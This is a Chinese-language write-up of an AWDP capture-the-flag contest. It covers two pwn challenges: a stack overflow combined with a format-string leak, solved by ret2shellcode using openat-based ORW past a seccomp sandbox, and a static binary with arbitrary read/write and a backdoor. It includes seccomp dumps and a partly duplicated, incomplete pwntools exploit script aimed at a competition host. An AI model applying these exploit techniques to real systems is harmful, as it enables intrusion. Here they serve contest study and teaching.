打过的最离谱的AWDP比赛,8个web,2个pwn。
准备了很久高版本IO、LLVM、Protobuf和Kernel,结果出了2个没libc的栈题。
存在一个严重问题,Break和Fix的靶机是同一个,Fix时会把靶机环境替换。
(明显是AWD平台改的,只是把提交别人Flag得分改为提交自己Flag得分,然后加了Check功能)
(这样的话完全可以上传后门函数或者Shell直接拿下自己靶机得到Flag)
往年华东北的Pwn题是所有赛区最难的,今年成最简单的了,给了2个栈签到题。
抛开题目和靶场不说,给茶歇点赞,空调也很给力。(差点冻死
开局5分钟就看到有人把2个pwn题ak了,这里写一下正解。
开启了沙箱保护,禁用execve和open:
拖入IDA分析:
菜单,1是栈溢出,2是格式化字符串。并且程序没开启NX保护,栈上可以同时写和执行。
直接ret2shellcode执行syscall即可打orw,禁用open用openat替换即可。
通过格式化字符串泄露栈地址和canary,然后写入shellcode,覆盖返回地址为栈地址即可。
由于我写的shellcode比较长,分了2段来执行,也可以优化下汇编一次执行完。
Fix很简单,直接把0x60栈溢出改为0x40即可。
题目是静态编译的,可以先导入符号表还原符号:
然后根据字符串交叉引用定位到main函数:
提供几个函数,ls为空函数,其它函数逐个分析。
add函数:
会在qword_4E82F0分配一个空间,每个空间大小为12。
初始位置为8(即size),偏移量为4的地方可以写入8字节数据。
edit函数:
任意地址写。
del函数:
没用,清空数据。
get函数:
任意地址读。
check函数:
调用sub_401D6A函数读取flag,并返回flag的前8个字符。
然后,将flag的前8个字符赋值给magic,并调用evalMagic函数:
它会循环四次,判断前4个空间的值是否和magic相等。如果都相等调用后门函数读取Flag并输出:
利用思路很简单,任意写、任意读、存在后门函数。
先让程序执行一次check将flag的前8字节读入到可分配的空间中。
然后任意地址读读出来flag的前8字节,此时magic的值即这8个字节。
然后循环计算出magic的值,通过任意地址写满足if的条件触发后门函数即可。
Fix实在没什么好说的,后门函数是作者故意写的,而且留了可以任意写和读的漏洞。
刚开始想着正解把任意写和任意读迁移到eh_frame段执行正确的清空和读取操作,但是check失败了。
最后想想这个后门函数也不合理,直接把后门函数nop掉就防御成功了,也就没再深究,很无语。
➜ pwn1 seccomp-tools dump .
/pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e
if
(A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000
if
(A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff
if
(A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000002
if
(A ==
open
) goto 0011
0006: 0x15 0x04 0x00 0x00000013
if
(A == readv) goto 0011
0007: 0x15 0x03 0x00 0x00000014
if
(A == writev) goto 0011
0008: 0x15 0x02 0x00 0x0000003b
if
(A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142
if
(A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000
return
ALLOW
0011: 0x06 0x00 0x00 0x00000000
return
KILL
➜ pwn1 seccomp-tools dump .
/pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e
if
(A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000
if
(A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff
if
(A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000002
if
(A ==
open
) goto 0011
0006: 0x15 0x04 0x00 0x00000013
if
(A == readv) goto 0011
0007: 0x15 0x03 0x00 0x00000014
if
(A == writev) goto 0011
0008: 0x15 0x02 0x00 0x0000003b
if
(A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142
if
(A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000
return
ALLOW
0011: 0x06 0x00 0x00 0x00000000
return
KILL
from
pwn
import
*
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc.so.6"
)
p
=
remote(
'192.55.1.156'
,
'80'
)
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
p.sendlineafter(b
'name\n'
, b
'1'
)
p.sendafter(b
'name\n'
, b
'%18$p'
)
p.sendlineafter(b
'name\n'
, b
'2'
)
p.recvuntil(b
'0x'
)
buf_addr
=
int
(p.recv(
12
),
16
)
-
0x60
success(
'buf_addr = '
+
hex
(buf_addr))
p.sendlineafter(b
'name\n'
, b
'1'
)
p.sendafter(b
'name\n'
, b
'a'
*
0x49
)
p.sendlineafter(b
'name\n'
, b
'2'
)
p.recvuntil(b
'a'
*
0x49
)
canary
=
u64(p.recv(
7
).rjust(
8
, b
'\x00'
))
success(
'canary = '
+
hex
(canary))
shellcode
=
asm(
.
format
(buf_addr, buf_addr
+
0x60
))
print
(
hex
(
len
(shellcode)))
shellcode
=
shellcode.ljust(
0x48
, b
'\x00'
)
shellcode
+
=
p64(canary)
+
p64(
0xdeadbeef
)
+
p64(buf_addr)
shellcode
+
=
asm(
.
format
(buf_addr))
print
(
len
(shellcode))
p.sendlineafter(b
'name\n'
, b
'1'
)
p.sendafter(b
'name\n'
, shellcode)
p.sendlineafter(b
'name\n'
, b
'3'
)
p.interactive()
from
pwn
import
*
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc.so.6"
)
p
=
remote(
'192.55.1.156'
,
'80'
)
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
p.sendlineafter(b
'name\n'
, b
'1'
)
p.sendafter(b
'name\n'
, b
'%18$p'
)
p.sendlineafter(b
'name\n'
, b
'2'
)
p.recvuntil(b
'0x'
)
buf_addr
=
int
(p.recv(
12
),
16
)
-
0x60
success(
'buf_addr = '
+
hex
(buf_addr))
p.sendlineafter(b
'name\n'
, b
'1'
)
p.sendafter(b
'name\n'
, b
'a'
*
0x49
)
p.sendlineafter(b
'name\n'
, b
'2'
)
p.recvuntil(b
'a'
*
0x49
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)